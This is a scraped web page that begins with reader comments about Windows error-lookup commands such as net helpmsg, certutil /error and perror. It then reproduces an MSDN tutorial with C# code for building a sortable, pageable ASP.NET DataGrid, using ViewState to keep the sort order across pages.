on local machine and has nothing to do with networking!), therefore I assumed “net” must have been some legacy name and believed that net helpmsgwas intended to work like Error Lookup. Hmmm, some new knowledge each entry. “net” command has been a leftover of LAN Manager kit that provides you TCP/IP and file sharing functionality in DOS days. Therefore it has to get as many relevant functions into it as possible. And one of the things it provide is to help deciphering error code that it’s common to throw in the face of users in these days. In Win95 and later versions, it’s modified to query Windows instead of it’s internal string set, so it can return error message for other things too. So does “net accounts”, “net user” and “net group” because these are what you need in order to configure file sharing access rights. Oh, there was no TCP/IP yet. All you get was IPX/SPX, or you could just say, networking. :) certutil /error 7 0x7 (WIN32: 7) — 7 (7) Error message text: The storage control blocks were destroyed. That’s not nice. My favourite way of doing this is to fire up VS, attach native debugger to a random process, and type “errorcode,hr” into the watch window. For instance, “34,hr” shows this: ERROR_WRONG_DISK : The wrong diskette is in the drive. Insert %2 (Volume Serial Number: %3) into drive %1. Funny… I wasn’t aware of this, but I’ve been using for years the perror utility bundled with MySQL Server for this same purpose: C:\>perror 2 OS error code 2: No such file or directory Win32 error code 2: El sistema no puede encontrar el archivo especificado. C:\>perror 8242 Win32 error code 8242: Se ha especificado una sintaxis DN no válida. C:\>perror 34 OS error code 34: Result too large C:\>perror 3871 Illegal error code: 3871
https://blogs.msdn.microsoft.com/oldnewthing/20170919-00/?p=97046
CC-MAIN-2018-34
refinedweb
1,130
73.78
Bummer! This is just a preview. You need to be signed in with a Basic account to view the entire video. Practice time! Operators and Control Structures6:28 with Jason Seifer It's time to put together everything we've learned so far! Now we'll use our knowledge from Ruby Basics and previous stages to write a simple program. Code Samples Here's the program we write in the video: def get_name() print "Enter your name: " return gets.chomp end def greet(name) print "Hi #{name}!" if (name == "Jason") puts "That's a great name!" end end def get_number(number) print "What number would you like to test to see if it is divisible by 3? " return gets.chomp.to_i end def divisible_by_3?(number) return (number % 3 == 0) end name = get_name() greet(name) number = get_number() if divisible_by_3?(number) puts "Your number is divisible by 3!" end - 0:00 Let's combine all of our knowledge of operators and control structures now and - 0:04 practice writing Ruby programs. - 0:07 Okay, so I've just launched a new Ruby workspace and - 0:10 now let's put everything together that we've learned so far. - 0:14 We are going to say number.rb is our file. - 0:20 Now, what we're gonna do is write a bunch of different methods to get somebody's - 0:24 name and then we're gonna ask him a question to enter a number and - 0:29 then we'll check to see if that number is divisible by three. - 0:34 Then we're gonna do this by putting everything together that we've learned - 0:37 so far. - 0:37 So we're gonna write some methods. - 0:39 And then we are going to use some conditionals, as well. - 0:44 So let's go ahead and get to it. - 0:45 First, we'll write a method to get someone's name. - 0:49 And we do that by writing the def keyword and - 0:52 then the name of the method that we want. - 0:55 In this case, it's called get_name, so we'll print "Enter your name". - 1:01 And, just like we've done before, we'll say gets.chomp. - 1:07 Now, we're just going to return this. - 1:11 Instead of doing gets.chomp like normally, we are going to return gets.chomp. - 1:17 Which let us do something like say, name equals get_name. - 1:24 Now get_name is the name of the function, and - 1:28 the last part will be what comes out of the function. - 1:33 So let's go ahead and say puts - 1:36 [BLANK_AUDIO] - 1:38 "Hi #(name):". - 1:40 Now let's run this, click into the Console and type ruby number.rb, - 1:45 Enter your name: Jason. - 1:48 Hi Jason. - 1:49 So now we have name as a variable which we are getting by creating the method - 1:53 get_name. - 1:55 And now we are greeting this person as well. - 1:58 So let's go ahead and make that a method too. - 2:00 We'll say - 2:01 [BLANK_AUDIO] - 2:03 greet. - 2:05 [BLANK_AUDIO] - 2:07 And we wanna know who we're greeting. - 2:09 [BLANK_AUDIO] - 2:11 So we'll say "Hello #(name):". - 2:15 This is the variable that we send in to the method, - 2:20 also called an argument, and we'll say if the name is Jason,. - 2:25 [BLANK_AUDIO] - 2:28 We'll put, "That's a great name!". - 2:30 . [BLANK_AUDIO] - 2:35 And now we could say name is equal to the return value - 2:40 of the method get_name and then we will greet that person. - 2:46 Now let's run this again and see what happens? - 2:50 It says hi Jason. - 2:51 That's a great name! - 2:52 That looks good. - 2:54 Now let's go ahead and get a number from our user. - 2:58 So say get_number. - 3:01 [BLANK_AUDIO] - 3:07 And we'll ask "What number would you like to test?". - 3:13 . [BLANK_AUDIO] - 3:16 And we will return. - 3:20 Same thing, standard input, but - 3:22 we're gonna convert this into a number by calling to_i method on it. - 3:28 So now we'll get the number, and then let's do something to it. - 3:31 Let's create a method called divisible_by_3. - 3:39 And we'll send in the number to this method. - 3:45 And what we'll do is return whether or not the number, module is 3 is equal to 0, - 3:51 so if the number when you divide it by 3 has no remainder. - 3:56 This will return true or false. - 4:00 So now we can go ahead and call that. - 4:02 Then we'll say name is, is get_name. - 4:06 And then we're greeting the person. - 4:08 And now we can say number is get_number. - 4:12 And then we can say. - 4:14 [BLANK_AUDIO] - 4:16 If divisible_by_3, for - 4:20 the number we just got we can print - 4:26 out "Your number is divisible by 3!". - 4:32 Now let's go ahead and run this and see what happens? - 4:34 I'm gonna clear my screen on the bottom there. - 4:39 Oh. - 4:40 It says number.rb. - 4:42 We have an error. - 4:44 Wrong number of arguments (0 for 1), and that's on line 13. - 4:51 Now, the reason we're getting this error is because we - 4:55 incorrectly asked the get_number function to get the number, - 5:00 but we sent in nothing when we tried to get it. - 5:03 And actually, this was my fault. - 5:05 This was an error in the code here. - 5:07 So I'm gonna take that out because we're not sending in a number when we go to - 5:12 get the number. - 5:13 [BLANK_AUDIO] - 5:15 So now we're getting the number and - 5:18 then testing to see if this number is divisible by 3. - 5:22 Now I'm gonna clear my screen again and see what happens? - 5:25 [BLANK_AUDIO] - 5:27 Let's test 27 and it's saying, oh, - 5:30 there's an undefined method "divisible_by_3" from main:Object. - 5:36 And when it says undefined method, it means it can't find the method name. - 5:42 And the reason is that on line 26, - 5:46 right here, I misspelled it. - 5:50 So if I correct that and clear my screen, let's see what happens? - 5:56 And finally, that works. - 5:59 Those kind of things happen all the time in programming and - 6:02 it's important to know how to debug them. - 6:05 Now let's go ahead and add an else statement. - 6:08 And print out "Your number is not - 6:13 cleanly divisible by 3.". - 6:17 Let's run that again. - 6:19 My name is Jason. - 6:21 I wanna test the number 10. - 6:23 And my number is not cleanly divisible by 3.
https://teamtreehouse.com/library/ruby-operators-and-control-structures/logical-operators/practice-time-operators-and-control-structures
CC-MAIN-2017-04
refinedweb
1,228
84.37
Tasks #823 Executing entire benchmark Description Optionally compile benchmarks of several files into a single binary to be executed at once and get the consolidated results. History #1 Updated by Anonymous almost 10 years ago #2 Updated by M. Rolf over 9 years ago - % Done changed from 0 to 20 Added BenchAll.cpp that includes all other files. What is prohibited in this scenario is that multiple files define hints like NEMO_REP_COUNT_HINT in the global namespace. With hints inside the BENCH_SUITEs it does compile, but runs with the same hint-values for all suites, even if different values have been specified. This is due to the current implementation that evaluates the hint-values for the actual execution from a global variable. In fact, these hints /should/ be properties of a BenchSuite (see #948). What's still missing is that the executables display some cummulative information like total runtime. #3 Updated by M. Rolf over 9 years ago - Status changed from New to In Progress Also available in: Atom PDF
https://code.cor-lab.de/issues/823
CC-MAIN-2022-05
refinedweb
169
56.25
tag:blogger.com,1999:blog-8712770457197348465.post5058694593135922951..comments2015-03-26T10:43:30.285-07:00Comments on Javarevisited: Why non-static variable cannot be referenced from a static context?Javin Paul Muhammad: You made a mistake. Mainfile ...@Qaiser Muhammad: You made a mistake. Mainfile mF = new MainFile(); in this line you given class name wrong. You used lower case of 'f' in Mainfile. <br />just replace following it execute fine,<br />MainFile mF = new MainFile();Srihari Goud am sorry friends this didnt work for me. packag...I am sorry friends this didnt work for me.<br /><br />package JavaLearning;<br /><br />public class MainFile{<br /> <br /> int abc=8;<br /> <br /> public static void main(String[] args) {<br /> <br /> Mainfile mF = new MainFile();<br /> <br /> System.out.println("Add is "+mF.abc);<br /> <br /> }<br />}Qaiser Muhammad you for you clear, concise, straightforward ...Thank you for you clear, concise, straightforward explanation. That is all that is necessary to help a brother out. You wouldn't think it would be so hard to find a clear thinker..Anonymousnoreply@blogger.comtag:blogger.com,1999:blog-8712770457197348465.post-64953040113692408302013-10-29T03:21:40.808-07:002013-10-29T03:21:40.808-07:00Find output: public class MyClass { int myVar;...Find output:<br /><br />public class MyClass {<br /><br /> int myVar;<br /><br /> <br /><br /> public static void setMyVar(int myVar)<br /><br /> {<br /><br /> this.myVar = myVar;<br /><br /> }<br /><br /> public int getMyVar()<br /><br /> {<br /><br /> return this.myVar;<br /><br /> }<br /><br /> <br /><br /> public static void main(String args[])<br /><br /> {<br /><br /> Sports Follower Javin, can you please help with how to call ...Pushkarnoreply@blogger.comtag:blogger.com,1999:blog-8712770457197348465.post-54410783009019830092013-06-18T12:11:48.227-07:002013-06-18T12:11:48.227-07:00This would not work . Non static variables,objects.. . Mohit Kashyap you for this resource. Together with other a...Thank you for this resource. Together with other articles on your blog it saved me hours of my life and i'm happy to learn/understand these things more thoroughly!<br />Matt Mattnoreply@blogger.comtag:blogger.com,1999:blog-8712770457197348465.post-2641159651392275202012-02-15T19:52:41.823-08:002012-02-15T19:52:41.823-08:00This rule not only apply to static variable but al.. Limyongnoreply@blogger.com
http://javarevisited.blogspot.com/feeds/5058694593135922951/comments/default
CC-MAIN-2015-14
refinedweb
383
52.36
You may also like … - Rs. 700,000 fuji capsula 2Multan, Pakistan 4 Jan 2018 - Rs. 1,000 CT, Digital X Ray, FCR Printers - MultanMultan, Pakistan 6 Jun 2016 - Rs. 450,000 Fuji Medical EquipmentMultan, Pakistan 2 Jan 2018 - Rs. 450,000 Fuji Medical EquipmentMultan, Pakistan 2 Jan 2018 - Rs. 500,000 Fuji Medical EquipmentMultan, Pakistan 3 Jan 2018 - Rs. 400,000 fuji cr xg1Multan, Pakistan 4 Jan 2018 - Rs. 400,000 fuji printer 3000Multan, Pakistan 10 Jan 2018 fuji fcr capsula XLMultan, Pakistan Rs. 750,000 Rs. 750,000 - Ad Id2075244 - Ad Posted4 Jan 2018 - Health & Beauty Product TypeMedical Equipment - ModelOther - Seller TypeA Professional / Business - ConditionUsed import from japan we have all cr system and printers x/ray and ultrasound machine MRI and CTscan etcViews: 25
http://multan.bolee.com/detail/fuji-fcr-capsula-xl-2075244
CC-MAIN-2018-05
refinedweb
126
58.38
MDT/XSD/New and Noteworthy/Galileo Eclipse XSD New and Noteworthy items for the Galileo release. Note that feature work on this component was minimal, resulting in just one item to describe here. Active bug fixing continued in this release, as summarized in the generated Release Notes. Milestone 3 This milestone was completed on Tuesday, 23 September 2008. New Schema Extension (ecore:nsURI) The EMF Model Importer for XML Schema maps the targetNamespace of a schema to the nsURI of the corresponding EPackage, but there was previously no way to specify an nsURI (which is required) for a schema without target namespace. A value was simply formed from the URI of the resource containing the schema. Bug 245190 added support for using an ecore:nsURI attribute (the Ecore namespace is "") on a schema element to specify the nsURI for a schema without target namespace.
http://wiki.eclipse.org/MDT/XSD/New_and_Noteworthy/Galileo
CC-MAIN-2015-35
refinedweb
144
59.74
STATISTICS AUSTRIA provides economic and demographic statistical services to the state of Austria. This page lists the Consumer Price Index it calculates every month according to a methodology that is updated every five years. The script below reads data from this page into a pandas DataFrame, cleans and processes it a little, and plots the various measures of CPI in the following figure. Note that the website uses a comma as a decimal separator, which can be specified in the call to pd.read_html. import pandas as pd import matplotlib.pyplot as plt # Read in a DataFrame from the appropriate table on this webpage. url = ('' 'consumer_price_index_cpi_hcpi/028929.html') h = pd.read_html(url, decimal=',', thousands='.') df = h[0] # Remove rows corresponding to the yearly average interest rate. df = df[~df['Month / Year'].str.contains('Ø')] # Drop the last row, which doesn't contain data. df = df[:-1] # Set the index using the relevant column. df.index = pd.DatetimeIndex(df['Month / Year'], name='Date') df =df.drop('Month / Year', axis=1) # Ensure the remaining columns are numeric. df = df[df.columns].astype(float) # Plot only the CPI columns (not the "Inflation rate%" column. df.iloc[:, 1:].plot() plt.show() Comments are pre-moderated. Please be patient and your comment will appear soon. Paco 1 year, 1 month ago Thank you for publishing so varied examples. Not a comment actually to this entry of your blog...Link | Reply christian 1 year, 1 month ago That's very nice of you – thank you!Link | Reply New Comment
https://scipython.com/blog/inflation-in-austria/
CC-MAIN-2021-39
refinedweb
253
60.82
#include <pcre2.h> pcre2_match_data *pcre2_match_data_create_from_pattern( const pcre2_code * code, pcre2_general_context * gcontext); This function creates a new match data block, which is used for holding the result of a match. The first argument points to a compiled pattern. The number of capturing parentheses within the pattern is used to compute the number of pairs of offsets that are required in the match data block. These form the "output vector" (ovector) within the match data block, and are used to identify the matched string and any captured substrings. The second argument points to a general context, for custom memory management, or is NULL to use the same memory allocator as was used for the compiled pattern. The result of the function is NULL if the memory for the block could not be obtained. There is a complete description of the PCRE2 native API in the pcre2api(3) page and a description of the POSIX API in the pcre2posix(3) page.
http://manpages.courier-mta.org/htmlman3/pcre2_match_data_create_from_pattern.3.html
CC-MAIN-2021-17
refinedweb
157
57.61
Creating a Pageable, Sortable DataGrid Scott Mitchell August 2003 Applies to: Microsoft® ASP.NET Summary: Learn how to build a sortable DataGrid and a pageable DataGrid; learn the steps necessary to combine these two techniques into creating a single sortable, pageable DataGrid. The DataGrid Web control allows ASP.NET developers the ability to quickly and easily display data. In addition to being able to simply display data, the DataGrid also allows for sorting, paging, and editing of its data. While adding sorting or paging support to the DataGrid is relatively straightforward, creating both a pageable and sortable DataGrid is a bit more challenging. (18 printed pages) Download PageableSortableDataGridDemo.msi. Contents Introduction Creating a Sortable DataGrid Creating a Pageable DataGrid Creating a Sortable, Pageable DataGrid Conclusion Introduction One of the most useful aspects of Microsoft® ASP.NET is the ease with which data can be displayed in a Web page. ASP.NET contains three data Web controls—the DataGrid, DataList, and Repeater—each designed to allow for rich data display. The most commonly used of the three data Web controls is the DataGrid, due in large part to its handy built-in feature set. Specifically, with just setting a few properties and creating a couple of event handlers, the DataGrid can provide sorting, paging, or editing support. For more information on the differences among the three data Web controls, along with what control to choose when, be sure to read, Deciding When to Use the DataGrid, DataList or Repeater. While creating either a sortable or pageable DataGrid is straightforward, creating a DataGrid that is both pageable and sortable is a bit more of a challenge. In this article we'll start by examining how to create a sortable and pageable DataGrid, and then examine the steps needed to combine these two features into one DataGrid. The first two sections examine how to add sorting functionality and paging functionality to the DataGrid Web control; if you are already well-versed in this area, feel free to skip ahead to the final section, which ties these two features together in a single DataGrid. Creating a Sortable DataGrid Before we get started with creating a sortable DataGrid, we first need a DataGrid that simply displays some data. For the purposes of this article, let's create a simple DataGrid that displays the contents of the Products table in the Northwind database. Note The Northwind database is a standard database shipped with Microsoft database products like Microsoft SQL Server(TM) and Microsoft Access. To follow along, create a new ASP.NET Web page named SortableDataGrid.aspx and start by adding a DataGrid with its ID property set to dgProducts. Next, set the AutoGenerateColumns property to False and configure the DataGrid so that it uses three BoundColumns to display the ProductName, UnitPrice and UnitsInStock fields. All that remains left to be done is to query the database and bind the results to the DataGrid. The following code shows the Page Load event handler and a custom method, BindData(), which should be added to the code-behind class to get everything working. private void Page_Load(object sender, System.EventArgs e) { BindData(); } private void BindData() { // Connect to the Database SqlConnection myConnection = new SqlConnection(connection string); // Retrieve the SQL query results and bind it to the Repeater string SQL_QUERY = "SELECT ProductName, UnitPrice, UnitsInStock " + "FROM Products"; SqlCommand myCommand = new SqlCommand(SQL_QUERY, myConnection); myConnection.Open(); dgProducts.DataSource = myCommand.ExecuteReader(); dgProducts.DataBind(); myConnection.Close(); } Note that in order for this code to work you need to import the System.Data.SqlClient namespace in your code-behind class. You will also have to change the connection string in the SqlConnection constructor to the connection string to your database. Once you have entered this code, build the solution and then test the Web page out by visiting it through your Web browser. Figure 1 shows a screenshot of SortableDataGrid.aspx (of course the appearance of the DataGrid could easily be made more aesthetically appealing by using the Auto Format tool in Microsoft Visual Studio® .NET). Figure 1. SortableDataGrid.aspx, when viewed through a browser Making the DataGrid in SortableDataGrid.aspx sortable, starts with setting the DataGrid's AllowSorting property to True. When this property is set the True, the DataGrid renders the header of each column as a LinkButton, which has the effect of rendering each column header as a hyperlink. The end user can specify what column she wants the DataGrid results sorted by simply by clicking on the appropriate column header's hyperlink. When a column header's hyperlink is clicked, the ASP.NET Web page is posted back and the DataGrid's SortCommand event fires. It is our responsibility, as the developer of this ASP.NET Web page, to create an event handler for the DataGrid's SortCommand event and to wire up the DataGrid's SortCommand event to this created event handler. It is the responsibility of this event handler to determine the column the end user wants to have the data sorted by, and then to resort the underlying data and rebind it to the DataGrid. Before writing the code for the SortCommand event handler, we must first add the event handler. Using a tool like Visual Studio .NET makes this step unimaginatively simple. Just click on the dgProducts DataGrid in the Designer to edit its properties. Next, click on the lightning bolt icon at the top of the Properties pane to view the DataGrid's events. Scroll to the SortCommand event and enter the name of the event handler you wish to have associated with this event, Visual Studio .NET will do the rest! Figure 2 shows the event listing in the Properties pane. Figure 2. Creating an event handler for the DataGrid's SortCommand event As Figure 2 shows, I have decided to name this event handler dgProducts_Sort, although any legal function name would have sufficed. Once you enter an event handler name into the appropriate event textbox, Visual Studio .NET automatically creates the event handler function shell in the code-behind class and wires the event to the event handler. If you are not using Visual Studio .NET, then you will need to perform these two steps manually. Start by creating the shell of the event handler, which can be seen below: private void dgProducts _Sort(object source, DataGridSortCommandEventArgs e) { // we'll add the code here in a bit! } Next, wire up the DataGrid's SortCommand event to the event handler. This can be done in one of two ways: - By adding OnSortCommand="dgProducts_Sort"in the DataGrid's declaration (that is, adding this inside the <asp:DataGrid>start tag in the HTML portion) - By programmatically assigning the DataGrid's event to the event handler in the InitializeComponent()method in the code-behind class. In C# this is accomplished with the following syntax: dgProducts.SortCommand += new DataGridSortCommandEventHandler(dgProducts_Sort); With Microsoft Visual Basic® .NET, the syntax looks like: AddHandler dgProducts.SortCommand, AddressOf dgProducts_Sort Once the event handler has been created and wired up to the DataGrid's SortCommand event, we're ready to add the code for the event handler. Essentially, we need to determine the column by which the end user wants to sort the results, and requery the database to retrieve the results in the desired order. We can determine what column the end user clicked on that caused the postback by examining the SortExpression property of the DataGridSortCommandEventArgs parameter passed into the dgProducts_Sort event handler. Realize that each DataGrid column has a SortExpression value associated with it. When the DataGrid's AutoGenerateColumns property is set to True, each column is automatically assigned a SortExpression value equal to the name of the DataSource field the column is displaying. When AutoGenerateColumns is set to False, we must explicitly specify the value of the SortExpression property. If we do not set the SortExpression property for a particular column, then the column header won't display as a hyperlink; therefore, the end user won't be able to sort the DataGrid by that particular column. To demonstrate this, only set the SortExpression properties of the first two BoundColumns. While you can set the SortExpression property to any value, set the SortExpression of each of the first two BoundColumn to the same value as the DataField property. After doing so, your DataGrid declaration should look like the following: <asp:DataGrid</asp:BoundColumn> <asp:BoundColumn</asp:BoundColumn> <asp:BoundColumn </asp:BoundColumn> </Columns> </asp:DataGrid> Now, in the dgProducts_Sort event handler we need to determine the value of the SortExpression and then rebind the data to the DataGrid in the properly sorted order. There are a myriad of ways to accomplish this, the simplest being just to requery the entire data sorted by the field specified by the SortExpression. This way isn't necessarily the most efficient, but is acceptable for the Products table, which has only 77 records. This requerying can be accomplished by altering the BindData() method to accept a string parameter, the name of the column to sort the results by. This updated version of BindData() is shown now: private void BindData(string orderBy) { // Connect to the Database SqlConnection myConnection = new SqlConnection(connection string); // Retrieve the SQL query results and bind it to the DataGrid string SQL_QUERY = "SELECT ProductName, UnitPrice, UnitsInStock " + "FROM Products ORDER BY " + orderBy; SqlCommand myCommand = new SqlCommand(SQL_QUERY, myConnection); myConnection.Open(); dgProducts.DataSource = myCommand.ExecuteReader(); dgProducts.DataBind(); myConnection.Close(); } With this new version of BindData(), our dgProducts_Sort event handler requires only one line of code, which can be seen below: private void dgProducts_Sort(object source, System.Web.UI.WebControls.DataGridSortCommandEventArgs e) { BindData(e.SortExpression); } All that remains left to do is to update the Page Load event handler. First, we only want to call the BindData() method when the page is not being posted back, since on subsequent postbacks, the dgProducts_Sort event handler will make the BindData() call. Second, our Page Load event handler is using the old version of the BindData() method, the one that takes no input parameters—we need to update this so that we pass in the field name we want the DataGrid initially sorted by. private void Page_Load(object sender, System.EventArgs e) { if (!Page.IsPostBack) BindData("ProductName");} After all of these changes have been made, build the solution and test it out. Figure 3 shows SortableDataGrid.aspx when first visited, while Figure 4 shows the Web page after the user has clicked on the Unit Price column header hyperlink. In both figures, note that the DataGrid cannot be sorted by the Units In Stock column because we did not provide a SortExpression property for this BoundColumn. Figure 3. The DataGrid, sorted by the Product Name column Figure 4. The DataGrid, sorted by the Unit Price column Creating a Pageable DataGrid As with creating a sortable DataGrid, to create a pageable DataGrid it is always best to start by first creating a DataGrid that merely displays the data. Since we accomplished this in the first part of the previous section, I won't touch upon the topic here further than saying create an ASP.NET Web page named PageableDataGrid.aspx and copy both the DataGrid declaration in the HTML section and the code from the Page_Load and BindData() methods in the code-behind class from the SortableDataGrid.aspx Web page prior to the point where we started discussing adding sorting capabilities. While you can copy in the Page Load event handler verbatim, you will need to make a small change to the BindData() method. Specifically, rather than binding a SqlDataReader to the DataGrid you will need to use either a DataTable or DataSet. We'll discuss why this is the case in a bit. Before we tackle adding paging support to a DataGrid, it's important to realize that the DataGrid has two forms of paging support: - Default paging - Custom paging These models of paging offer a tradeoff: default paging is easier to implement than custom paging, but custom paging provides improved performance. The reason for this tradeoff follows from the fact that with default paging you always bind the entire DataSource that you want to page through to the DataGrid each and every time the user navigates from one page of data to another. With default paging, the DataGrid itself is responsible for determining how many records and precisely what records in the DataSource need to be displayed. Custom paging, on the other hand, requires that precisely only those records that are to be displayed in the current page of data be in the DataSource that is bound to the DataGrid. Default paging is simpler to implement because you don't have to do anything fancy when a user navigates from one page of data to the next. That is, you just bind the results of a SQL query to the DataGrid and let the DataGrid worry about what records to display. With custom paging, you have to use either tricky SQL statements or complicated stored procedures to pick out the precise set of records you want to display for a particular page. Custom paging offers better performance over default paging because only those records that need to be displayed for a particular page of data are accessed. With default paging, every time a user views a different page of data, all records are retrieved. Additionally, default paging requires that you bind either a DataTable or DataSet object to the DataGrid; that is, you can't use a DataReader. This is because the DataGrid needs to be able to determine how many records are in the DataSource to be able to determine how many total pages of data exist. For this article, we'll focus on using default paging, since it is easier to implement. However, we lose nothing by focusing strictly on default paging, as the technique we'll examine in the next section for creating a sortable, pageable DataGrid will work just as well with both default and custom paging. The first step to making a DataGrid pageable using the default paging model is to set the DataGrid's AllowPaging property to True. This property, when set to True, will, by default, display a navigational interface at the bottom of the DataGrid. This navigational interface allows the end user to step through the pages of data displayed in the DataGrid. By default, the navigational interface uses LinkButtons to render a previous and next set of hyperlinks. When the end user clicks on one of these hyperlinks, the ASP.NET Web page is posted back and the DataGrid's PageIndexChanged event fires. It is our job to create an event handler for this event that updates the DataGrid's CurrentPageIndex property and rebinds the data to the DataGrid. The DataGrid's CurrentPageIndex property indicates what page of data to display. In addition to this property, there are a couple of other properties that are germane to paging: PageSize—This property indicates how many records to show per page, and defaults to a value of 10. PageCount—This property indicates the total number of pages of data. So, the PageIndexChanged event handler merely needs to set the CurrentPageIndex property to the page selected by the user, and the rebind the DataGrid (by calling BindData()). That's it! We can determine the page index wants to view by referencing the NewPageIndex property of the DataGridPageChangedEventArgs object passed into this event handler. When the DataGrid's DataBind() method is called in BindData(), the DataGrid will use the CurrentPageIndex property to determine what page of data to display. It will then use the number of records to display per page to compute what record should appear as the first record in the page. The DataGrid will then navigate to this record and display that record and the next PageSize records. Take a moment to add an event handler named dgProducts Page to the DataGrid's PageIndexChanged event using the techniques discussed in the previous section. The source code for this event handler is shown below: private void dgProducts_Page(object source, System.Web.UI.WebControls.DataGridPageChangedEventArgs e) { dgProducts.CurrentPageIndex = e.NewPageIndex; BindData();} Again, as with the SortableDataGrid.aspx Web page, we want to only have the Page Load event handler bind the data to the DataGrid on the first page load and not on subsequent postbacks. The following code shows the updated Page Load event handler and BindData() method. Note that the BindData() method binds a DataTable to the DataGrid, as opposed to a SqlDataReader. Recall that with default paging you cannot use a DataReader, but instead must use a DataTable or DataSet; using a DataReader will result in an exception. The reason you cannot use a DataReader is because the DataGrid needs to be able to determine how many total records are in the DataSource so it can determine how many total pages there are. Since the DataReader supports forward-only access, the DataGrid cannot determine how many total records it contains. Therefore, it is imperative with default paging that an object whose number of records can be determined—such as the DataTable or DataSet—be used. private void Page_Load(object sender, System.EventArgs e) { if (!Page.IsPostBack) BindData(); } private void BindData() { // Connect to the Database SqlConnection myConnection = new SqlConnection(connection string); // Retrieve the SQL query results and bind it to the DataGrid string SQL_QUERY = "SELECT ProductName, UnitPrice, UnitsInStock " + "FROM Products"; SqlCommand myCommand = new SqlCommand(SQL_QUERY, myConnection); // Use a DataTable – required for default paging SqlDataAdapter myAdapter = new SqlDataAdapter(myCommand); DataTable myTable = new DataTable(); myAdapter.Fill(myTable); dgProducts.DataSource = myTable; dgProducts.DataBind(); myConnection.Close(); } Figure 5 shows PageableDataGrid.aspx when first visited, showing the first ten records of the Products table. Figure 6 shows the second page of data, which is displayed after the user clicks the > hyperlink in the navigational interface from Figure 5. Figure 5. The first page of data is displayed. Figure 6. The second page of data is shown. This demonstration does not show how to customize the navigational interface of the pageable DataGrid. However, this can be easily customized to display alternate text for the next and previous hyperlinks, as well as displaying a list of page numbers rather than next and previous links. In fact, with a bit of coding, you can create a custom paging interface that provides both next and previous links as well as a list of pages. For more information on these matters, be sure to check out the following articles: - Specifying Paging Behavior in a DataGrid Web Server Control - Letter/Alphanumeric Based Paging in ASP.NET - Providing DataGrid Pagination Creating a Sortable, Pageable DataGrid At this point we have looked at how to create a sortable DataGrid and a pageable DataGrid. Let's now turn our attention to melding these two features into a single sortable, pageable DataGrid. The difficulty in merging the two features into a single DataGrid stems from the fact that each approach uses a different form of the BindData() method. The sortable DataGrid passes in a string parameter into BindData(), which indicates what column of the DataGrid to sort by. The pageable DataGrid, on the other hand, does no such thing. An initial attempt at reconciling this difference is to use the BindData() version that accepts the string parameter and have the DataGrid's PageIndexChanged event handler always pass in some predefined string value. For example, since the PageIndexChanged event handler must call BindData(), passing in a string, we could use the following code for this event handler: private void dgProducts_Page(object source, System.Web.UI.WebControls.DataGridPageChangedEventArgs e) { dgProducts.CurrentPageIndex = e.NewPageIndex; BindData("ProductName");} However, this approach won't work. Consider the following sequence of events: - A user visits the page, and is shown the first page of data, sorted by the ProductNamefield. - A user clicks on the Unit Price column header hyperlink, displaying the first page of data sorted by Unit Price. - The user clicks the > navigational hyperlink, requesting the next page of data. This causes the PageIndexChangedevent handler to execute upon postback, which retrieves the data sorted by ProductName. Hence, the user is now viewing the second page of data sorted by ProductNameinstead of the second page of data sorted by UnitPrice. We need some way to remember the field that we want to sort by when calling BindData() from the PageIndexChanged event handler. There are a number of ways to save state across round trips to the server with ASP.NET; however, since we only need to save this information for the current Web page, and not for the current user, the best approach is to store the column the user wishes to sort by in the Web page's ViewState. A thorough discussion of ViewState is far beyond the scope of this article. However, let's take a brief moment to discuss its utility for us in creating a sortable, pageable DataGrid. First, realize all controls in an ASP.NET Web page have a ViewState, and when these controls are placed in a Web Form (the <form runat="server">) their ViewState is saved in a hidden HTML form field. We can programmatically insert objects into the ViewState. These inserted objects are then saved along with the rest of the ViewState content, meaning that these values are remembered across postbacks. For a much more detailed look at ViewState be sure to read Susan Warren's excellent article, Taking a Bite Out of ASP.NET ViewState. The syntax for inserting and retrieving elements into the ViewState is as follows: // C# object o = ViewState[key]; // retrieval ViewState[key] = o; // assignment ' VB.NET Dim o as Object = ViewState(key) ' retrieval ViewState(key) = o 'assignment Here, key is a string key providing a name for the object being stored in the ViewState. Now, whenever the user clicks on a DataGrid column's header hyperlink we'll do three things: - Reset the DataGrid's CurrentPageIndexto 0 - Store the SortExpressionproperty of the DataGridSortCommandEventArgsparameter to the ViewState with key value SortExprValue. - Call BindData(), passing in the SortExpressionvalue. Realize that step 1 will cause the DataGrid to return to the first page of data whenever the user clicks a DataGrid column's header hyperlink. This makes sense, because if a user is currently viewing, say, page 3 of the results sorted by Product Name, if the user opts to see the results sorted by Unit Price they should be taken to the first page of results, thereby seeing the cheapest items. If we did not reset CurrentPageIndex to 0 in the SortCommand event handler, then the user, upon opting to sort by Unit Price, would be shown the third page of the data when sorted by the UnitPrice field, which would like be confusing. This new SortCommand event handler can be seen below: private void dgProducts_Sort(object source, System.Web.UI.WebControls.DataGridSortCommandEventArgs e) { dgProducts.CurrentPageIndex = 0; ViewState["SortExprValue"] = e.SortExpression; BindData(e.SortExpression);} With this ViewState variable, the PageIndexChanged event handler becomes very easy to write. We simply set the DataGrid's PageIndexChanged property to the NewPageIndex property of the DataGridPageChangedEventArgs, as we did before, and then call BindData() passing in the value of the ViewState object SortExprValue. private void dgProducts_Page(object source, System.Web.UI.WebControls.DataGridPageChangedEventArgs e) { dgProducts.CurrentPageIndex = e.NewPageIndex; BindData(ViewState["SortExprValue"].ToString());} One last final touch is to update the Page_Load event handler so that the ViewState SortExprValue object is set to the column that we want the DataGrid to be sorted on by default. This small change yields the following new Page_Load event handler: private void Page_Load(object sender, System.EventArgs e) { if (!Page.IsPostBack) { ViewState["SortExprValue"] = "ProductName"; BindData(ViewState["SortExprValue"].ToString());} } And that's all there is to it! The remainder of the article provides some screenshots demonstrating the sortable, pageable DataGrid in action. Note that you can download the complete source code for all of the ASP.NET demos at the end of this article. Figure 7 shows a screenshot of the sortable, pageable DataGrid when first visited through a browser. Figure 8 shows a screenshot of the second page of data, sorted by Product Name. Figure 9 shows the output immediately after the user opts to order the results by the Unit Price, while Figure 10 shows a screenshot of the second page of data, ordered by Unit Price. Figure 7. The sortable, pageable DataGrid, when first visited (sorted by Product Name) Figure 8. The second page of data, when sorted by Product Name Figure 9. The first page of data, when sorted by Unit Price Figure 10. The second page of data, when sorted by Unit Price Conclusion Creating either a pageable or sortable DataGrid is relatively simple and straightforward. However, combining both aspects into a single DataGrid is a bit trickier since we need to remember what column the DataGrid is sorted by when paging through the data. As we saw in this article, we can employ the ViewState to help us remember the DataSource field by which the DataGrid is ordered. While this article focused on using default paging, the techniques are applicable for custom paging as 